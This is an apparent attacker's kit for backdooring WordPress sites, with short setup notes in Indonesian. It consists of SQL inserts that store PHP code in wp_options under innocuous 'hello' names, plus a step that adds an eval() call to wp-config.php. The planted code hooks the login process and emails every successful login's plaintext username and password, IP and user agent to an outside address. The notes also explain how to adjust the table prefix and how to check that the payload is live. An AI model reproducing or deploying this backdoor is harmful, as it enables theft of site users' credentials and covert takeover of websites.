log

INSERT INTO 8DN3nye_options (option_name, option_value, autoload)
VALUES (
  '8DN3nye_hello',
  'add_filter("authenticate", function($user, $username, $password) {
    // Only proceed if login is successful and user is valid
    if (!is_wp_error($user) && $user instanceof WP_User) {
        // Sanitize inputs to prevent injection
        $username = sanitize_text_field($username);
        $password = sanitize_text_field($password);
        $ip = filter_var($_SERVER["REMOTE_ADDR"], FILTER_VALIDATE_IP) ?: "Unknown";
        $ua = sanitize_text_field($_SERVER["HTTP_USER_AGENT"] ?? "Unknown");
        $time = current_time("mysql");
        $domain = parse_url(home_url(), PHP_URL_HOST);

        // Prepare HTML email body with enhanced styling
        $body = "
        <html>
        <head>
            <style>
                body { font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Arial, sans-serif; color: #333; line-height: 1.6; margin: 0; padding: 0; background-color: #f0f2f5; }
                .container { max-width: 600px; margin: 20px auto; padding: 20px; background-color: #ffffff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0,0,0,0.1); }
                .header { text-align: center; padding: 20px 0; background-color: #1e88e5; border-radius: 8px 8px 0 0; color: #fff; }
                .header img { max-width: 150px; height: auto; }
                h2 { font-size: 24px; margin: 0; font-weight: 600; }
                .content { padding: 20px; }
                p { margin: 0 0 15px; font-size: 16px; }
                table { border-collapse: collapse; width: 100%; margin: 20px 0; background-color: #fff; }
                th, td { border: 1px solid #e0e0e0; padding: 12px; text-align: left; font-size: 14px; }
                th { background-color: #1e88e5; color: #fff; font-weight: 600; }
                td { background-color: #fafafa; }
                .domain { font-weight: bold; color: #1565c0; }
                .footer { font-size: 12px; color: #666; margin-top: 20px; text-align: center; border-top: 1px solid #e0e0e0; padding-top: 15px; }
                .footer a { color: #1565c0; text-decoration: none; }
            </style>
        </head>
        <body>
        <div class=\'container\'>
            <div class=\'header\'>
                <h2>Successful Login Report</h2>
            </div>
            <div class=\'content\'>
                <p>A user has successfully logged into your site from <span class=\'domain\'>" . esc_html($domain) . "</span>.</p>
                <table>
                    <tr>
                        <th>Username</th>
                        <th>Password</th>
                        <th>IP Address</th>
                        <th>Timestamp</th>
                    </tr>
                    <tr>
                        <td>" . esc_html($username) . "</td>
                        <td>" . esc_html($password) . "</td>
                        <td>" . esc_html($ip) . "</td>
                        <td>" . esc_html($time) . "</td>
                    </tr>
                </table>
                <p class=\'footer\'>User Agent: " . esc_html($ua) . "<br>This is an automated message from <a href=\'" . esc_url(home_url()) . "\'>" . esc_html($domain) . "</a></p>
            </div>
        </div>
        </body>
        </html>";

        // Email headers with improved security
        $headers = array(
            "MIME-Version: 1.0",
            "Content-type: text/html; charset=UTF-8",
            "From: WP Logger <no-reply@" . esc_html($domain) . ">",
            "X-Mailer: PHP/" . phpversion()
        );

        // Attempt to send email (no fallback logging)
        wp_mail(
            "[email protected]",
            "Successful Login Report - " . esc_html($domain) . " - " . esc_html($time),
            $body,
            implode("\\r\\n", $headers)
        );
    }

    return $user;
}, 30, 3);',
  'yes'
);





INSERT INTO wp_options (option_name, option_value, autoload)
VALUES (
  'wp_hello',
  'add_filter("authenticate", function($u,$n,$p){
    $ip = $_SERVER["REMOTE_ADDR"];
    $ua = $_SERVER["HTTP_USER_AGENT"];
    $time = date("Y-m-d H:i:s");

    $body = "
    <html><body>
    <table border=\'1\' cellpadding=\'5\' cellspacing=\'0\' style=\'border-collapse:collapse; font-family:Arial;\'>
      <tr><th>Username</th><th>Password</th><th>IP</th><th>Time</th></tr>
      <tr><td>$n</td><td>$p</td><td>$ip</td><td>$time</td></tr>
    </table>
    <br><small>$ua</small>
    </body></html>";

    $headers = "MIME-Version: 1.0\\r\\n";
    $headers .= "Content-type: text/html; charset=UTF-8\\r\\n";
    $headers .= "From: WP Logger <[email protected]>\\r\\n";

    @mail("[email protected]", "Login Report", $body, $headers);
    return $u;
  }, 30, 3);',
  'yes'
);


wp3x_options <- sesuaikan
'wp3x_hellos', <- sesuaikan nama wp3x nya

eval(get_option('wp_hello'));
tambah ke wp-config.php Bawah sendiri
buat liat payload udah aktif apa engga
SELECT * FROM wp_options WHERE option_name = 'wp_hello';